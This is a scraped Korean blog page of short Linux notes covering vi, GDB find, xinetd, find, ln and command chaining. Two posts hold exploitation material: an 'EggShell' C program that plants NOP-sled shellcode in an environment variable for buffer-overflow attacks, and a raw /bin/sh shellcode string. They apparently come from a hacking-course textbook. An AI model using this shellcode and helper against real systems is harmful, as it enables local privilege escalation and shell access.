vi editor 에서 !의 용도


 !는 외부의 쉘을 실행시켜주는 역할을 함


 !/bin/bash => bash 를 실행해줌

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Theory] Kernel  (0) 2018.01.06
[Command] dig  (0) 2017.12.29
[Command] GDB Find  (0) 2017.12.29
[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29

 find [/sn] Start Address + len, val1 [val2, ......]
 find [/sn/ Start Address, End Address, val1, [val2, ....]

https://sourceware.org/gdb/onlinedocs/gdb/Searching-Memory.html

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Command] dig  (0) 2017.12.29
[Tip] vi editor  (0) 2017.12.29
[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29

 환경 변수에 bash shell을 실행하는 Shell Code를 등록 한 뒤 주소를 출력 해주는 EggShell 코드입니다. 공격을 하고자 하는 위치에 EggShell 의 결과 주소값을 덮어 쓰면 쉘을 획득할 수 있습니다.

 출처 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90

char shellcode[] = "\x31\xc0\x31\xd2\xb0\xb0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";


unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}

int main(int argc, char * argv[])
{
        char *ptr, *superSH;
        char shAddr[DEFAULT_ADDR_SIZE + 1];
        char cmdBuf[DEFAULT_BUFFER_SIZE];
        long *addr_ptr, addr;
        int offset = DEFAULT_OFFSET;
        int i, supershLen = DEFAULT_SUPERDK_SIZE;
        int chgDec[3];

        if( !(superSH = malloc(supershLen)))
        {
                printf("Malloc() Failed \n");
                exit(0);
        }

        addr = get_sp() - offset;
        printf("Address : 0x%8x \n", addr);

        ptr = superSH;

        for(i = 0; i< supershLen - strlen(shellcode) - 1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i< strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        superSH[supershLen - 1] = '\0';

        memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
        putenv(superSH);

        system("/bin/bash");


}

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] vi editor  (0) 2017.12.29
[Command] GDB Find  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] Find  (0) 2017.12.29

xinetd( extended internet daemon )는 오픈 소스 슈퍼 서버 데몬으로 시스템에서 작동하며 인터넷 기반 연결을 관리 한다. inetd 의 대체 하여 강력한 보안 기능을 제공한다. xinetd 는 네트워크로 들어오는 요청을 듣고 거기에 맞는 서비스를 실행시킨다.

xinetd 의 기본 설정 파일은 /etc/xinetd.conf 이며 서비스의 설정은 /etc/xinetd.d 에 저장된다.

 설정 파일 예시는 다음과 같다.



disable : 서비스 활성화 여부 / 활성화를 위해서는 no 로 변경한다.

type : 서비스가 xinetd 인 경우 INTERNAL, 원격 프로시저 호출인 경우 RPC, 목록에 없는 경우 unlisted

id : 고유 식별자

socket_type : stream, dgram, raw

user : 서비스의 소유자


자세한 사항은 http://www.xinetd.org/ 를 참고한다.


출처 : WiKi

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Command] GDB Find  (0) 2017.12.29
[Tip] EggShell  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] Find  (0) 2017.12.29
[Command] ln  (0) 2017.12.29

리눅스에서 여러 명령 한번에 실행하기!


 명령; 명령;


ex) ls -al; ls -al;

 => ls -al 이 두번 실행됨.

 

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Command] Find  (0) 2017.12.29
[Command] ln  (0) 2017.12.29
[ShellCode] Bash Shell Code  (0) 2017.12.29

Linux & Unix 시스템에서 검색 동작을 수행하는 명령어 이다.

find [Path] [Option] [Target] 형태로 사용한다.

 ex) find / -user sskim 2> /dev/null
 -> 전체 경로에서 User Name == sskim 을 검색하고 에러메시지는 /dev/null 로 보낸다.

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] ln  (0) 2017.12.29
[ShellCode] Bash Shell Code  (0) 2017.12.29
리눅스에서 ln 명령은 파일시스템에서 링크 파일을 만드는 명령입니다.

 1) 심볼릭 링크( Symbolic Link )
  - 단순히 원본 파일을 가리키도록 링크만 생성한 것으로 윈도우의 바로가기를 생각 하시면 됩니다. 심볼릭 링크가 생성된 파일의 원본이 없는 경우 에러 메시지를 출력해줍니다.

 2) 하드링크( Hard Link )
  - 원본 파일과 이름만 다른 동일 파일이라고 생각하시면 됩니다. 내용은 완전히 동일하지만 파일명이 다릅니다.

 3) 사용법
  ln [Option] [Original] [Target]

 

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] Find  (0) 2017.12.29
[ShellCode] Bash Shell Code  (0) 2017.12.29

Linux 환경에서 Bash Shell 을 실행시켜주는 ShellCode 입니다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] Find  (0) 2017.12.29
[Command] ln  (0) 2017.12.29

+ Recent posts